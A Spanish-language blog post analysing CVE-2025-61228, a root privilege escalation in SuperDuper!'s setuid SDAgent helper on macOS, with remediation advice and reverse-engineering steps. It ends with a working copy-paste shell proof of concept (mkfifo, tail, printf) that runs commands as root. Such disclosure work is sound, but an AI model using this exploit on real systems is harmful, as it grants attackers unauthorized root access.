
Del blog del desarrollador:
Cuando el candado de SuperDuper está desbloqueado para permitir la ejecución sin tener que introducir una contraseña de administrador, un programa de terceros podría utilizar nuestra autorización para ejecutar algo que no sea una copia de seguridad con privilegios de administrador.
Descripción del CVE:
Control de acceso incorrecto en el componente SDAgent de Shirt Pocket SuperDuper! v3.10 permite a los atacantes escalar privilegios a root debido al uso inadecuado de un binario setuid.
Este autor no es el descubridor de la vulnerabilidad, quien es identificado por el desarrollador de SuperDuper como «investigador de seguridad anónimo». No me atribuyo el mérito de haber descubierto esta vulnerabilidad; solo me interesé en hacer un análisis técnico de la misma.
Puntuación CVSS 3.1: 8.1: Alta (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Para evitar esta vulnerabilidad, elimine la aplicación SuperDuper! o aplique la actualización 3.11.
Advertencia: Debe descargar la actualización directamente del sitio web del desarrollador para evitar la vulnerabilidad CVE-2025-61228.
Este análisis de exploit y prueba de concepto se proporcionan únicamente con fines educativos. Úselo bajo su propio riesgo.
El componente SDAgent de la aplicación SuperDuper! es un binario setuid. Debido a un mal diseño/implementación, SDAgent existe únicamente para ejecutar comandos de shell solicitados por otra aplicación, y SDAgent no parece realizar ninguna verificación de la aplicación solicitante, ni implementar salvaguardas sobre qué tipos de comandos de shell se pueden solicitar. Como resultado, los atacantes pueden hacer que las versiones afectadas de la herramienta SDAgent ejecuten cualquier comando de shell con privilegios de root. El parche del desarrollador solo aborda la falta de verificación del solicitante por parte de SDAgent; no aborda el diseño de la herramienta auxiliar «títere», lo que deja al agente potencialmente vulnerable a futuros ataques.
La descripción del desarrollador sobre este problema era vaga, pero el comentario «Cuando el candado en SuperDuper está desbloqueado» me apuntó en la dirección correcta rápidamente. Comenzando con una versión anterior (aún vulnerable) de SuperDuper, hice clic en el icono del candado y me autentiqué. En Activity Monitor, noté que aparecía un nuevo proceso relacionado con SuperDuper: SDAgent. Encontré este componente en el archivo bundle de SuperDuper y examiné sus atributos en Terminal. Después de alternar el candado entre apagado y encendido, noté que el archivo SDAgent es un binario setuid cada vez que el candado está desbloqueado. Dado ese atributo y el nombre del archivo, concluí que debe ser una «herramienta auxiliar privilegiada», aunque parecía un poco pequeño para ese propósito.
Setuid es una forma muy antigua de escalada de privilegios, y normalmente construirías toda tu funcionalidad de «necesita root» dentro de la herramienta «auxiliar» y simplemente le pedirías que haga lo suyo, o desarrollarías una vía de comunicación que permita a una aplicación cliente hacer solicitudes específicas a la herramienta auxiliar. Pero dado lo pequeño que es este archivo SDAgent (solo 137 KB), parece poco probable que contenga todo el código que requiere root para lo que esta aplicación afirma hacer. Con la curiosidad despertada, ejecuté la utilidad "strings" en SDAgent para hacerme una idea de lo que se supone que debe hacer. Esto resultó ser muy esclarecedor. Prácticamente no había salida (en comparación con lo que normalmente se ve en un binario de aplicación), y la salida básicamente indica que SDAgent tiene una sola función: ejecutar cualquier script de shell proporcionado por el solicitante, por ejemplo:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
Es un mal diseño crear una herramienta auxiliar que ejecute literalmente cualquier comando; «no seas un títere» es una regla importante a seguir al hacer una herramienta auxiliar.
Continué con la suposición de que SuperDuper debe abrir SDAgent, establecer un pipe de comunicación y luego enviar scripts de shell a SDAgent. Un breve vistazo al paquete de la aplicación SuperDuper mostró que iba por buen camino. Esta aplicación parece administrar toda su actividad de copia mediante scripts de shell.
Hice algunos intentos endebles de simplemente canalizar comandos al agente:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent se bloqueó, ¡supongo que no será tan fácil! Sin desanimarme, comencé a hacer algunas suposiciones basadas en cómo funcionan normalmente las aplicaciones auxiliares setuid. Entre un par de utilidades de shell, normalmente crearías algunos pipes para stdin, stdout y stderr, y luego harías fork y exec. El proceso hijo heredaría una copia de cada pipe, por lo que cada lado tendría automáticamente pipes de comunicación abiertos hacia el otro. Con una aplicación que enlaza contra frameworks de alto nivel, fork() no es una opción. En cambio, tendrías que desarrollar alguna forma de comunicar a la aplicación hija cómo pretendes comunicarte con ella. La salida de "strings" dio una pista:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
«STDIN_PIPE_READ_FD»: el desarrollador es muy transparente sobre lo que está sucediendo aquí. Podemos obtener un poco más de contexto sobre esta cadena desde otool:
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
OK, así que probablemente sea una variable de entorno. Intentemos de nuevo el truco fácil del pipe, y voy a asumir que SDAgent simplemente recibirá mis comandos desde su descriptor de archivo stdin (0):
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
Después de repetirlo unas veces quedó claro que «1557» era el ID de proceso del SDAgent generado. No fue muy útil (y no era la salida «root» que esperaba), pero no se bloqueó esta vez, así que era alentador. Lo intenté de nuevo con algo que hiciera un cambio en el sistema de archivos:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
No, el archivo no se creó; es hora de arremangarse. Deshabilité SIP, inicié dtruss y le pedí a SuperDuper que ejecutara una tarea. Justo después de autenticarme para iniciar la tarea, veo la siguiente salida de dtruss (adjunta al proceso SDAgent):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent inicialmente lee del descriptor de archivo 0 (stdin) para la entrada (probablemente cualquier FD indicado por STDIN_PIPE_READ_FD). Aquí vemos que lee tres números. Según la secuencia, supongo que SuperDuper abrió tres pipes y está enviando los extremos de escritura, escritura y lectura de esos tres pipes a SDAgent. Luego, SDAgent duplica los dos primeros en stdout y stderr (no puedo decir para qué se usa el tercero). Finalmente, escribe «1615» (el pid actual de SDAgent) en stdout (para que SuperDuper sepa el pid de SDAgent), y luego escucha comandos adicionales en fd 0. Después de un poco de prueba y error, quedó claro que necesitamos enviar algunos descriptores de archivo a SDAgent antes de que haga lo que le pedimos. stdout (1) y stderr (2) ya estarán abiertos y escribibles en el entorno de shell, así que probé esos:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
De nuevo, no se bloquea, pero como un adolescente impaciente, SDAgent termina antes de tiempo y no obtengo el resultado «root» que espero. dtruss muestra que lee los descriptores de archivo, pero ignora el resto. Eso no es sorprendente dado el terminador de cadena nulo; probablemente necesitemos un espacio entre estas cadenas para que SDAgent las trate como solicitudes separadas. Así que tendremos que conectar SDAgent a un pipe al que podamos escribir más de una vez.
En este punto podría escribir una aplicación C simple que abra algunos pipes, haga fork de SDAgent, escriba los descriptores de archivo en el pipe de stdin y luego, después de una breve pausa, envíe sus argumentos (es decir, la carga útil del ataque) al pipe para ejecutarlos. Cuando comencé a escribir ese código, se me ocurrió que probablemente podría lograr toda la funcionalidad de esas más de 50 líneas de código compilado con un par de comandos de shell simples. En realidad, solo necesito un método para establecer y mantener abierto un pipe hacia el proceso SDAgent. "mkfifo" servirá para este propósito: los fifos existen como archivos en el disco, pero se les pueden acoplar pipes. En un lado, necesitaremos algo que lea del fifo y luego repita ese contenido a SDAgent al otro lado del pipe. Necesito escribir los descriptores de archivo al pipe inicialmente, pero también necesito mantener el pipe abierto para poder enviar comandos de carga útil. Si el proceso en cualquiera de los lados del pipe termina, el pipe se cierra. La utilidad tail y el operador de segundo plano fueron fundamentales:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
Eso generó dos trabajos en segundo plano: tail (1964) y SDAgent (1965). Ambos procesos permanecen ejecutándose en segundo plano, por lo que el pipe entre ellos persiste. tail está esperando a que se añadan datos al fifo y luego canalizará esos datos a SDAgent. Fantásticamente simple. A continuación, enviamos los descriptores de archivo:
printf "1 2 \0" > /tmp/puppet
dtruss mostró que SDAgent leyó los descriptores de archivo y que SDAgent sigue ejecutándose, esperando más entrada. Ahora, el momento de la verdad:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
¡Funcionó! ¿Otra vez?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
¡Eso es todo! Cuando junté todo en un solo bloque de comandos de shell para copiar y pegar, todavía notaba que SDAgent tardaba un poco en procesar los descriptores de archivo. Con un breve retraso, y listo:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
En cuanto a exploits de root, este fue sorprendentemente fácil de descubrir y es muy fácil de aprovechar para un atacante.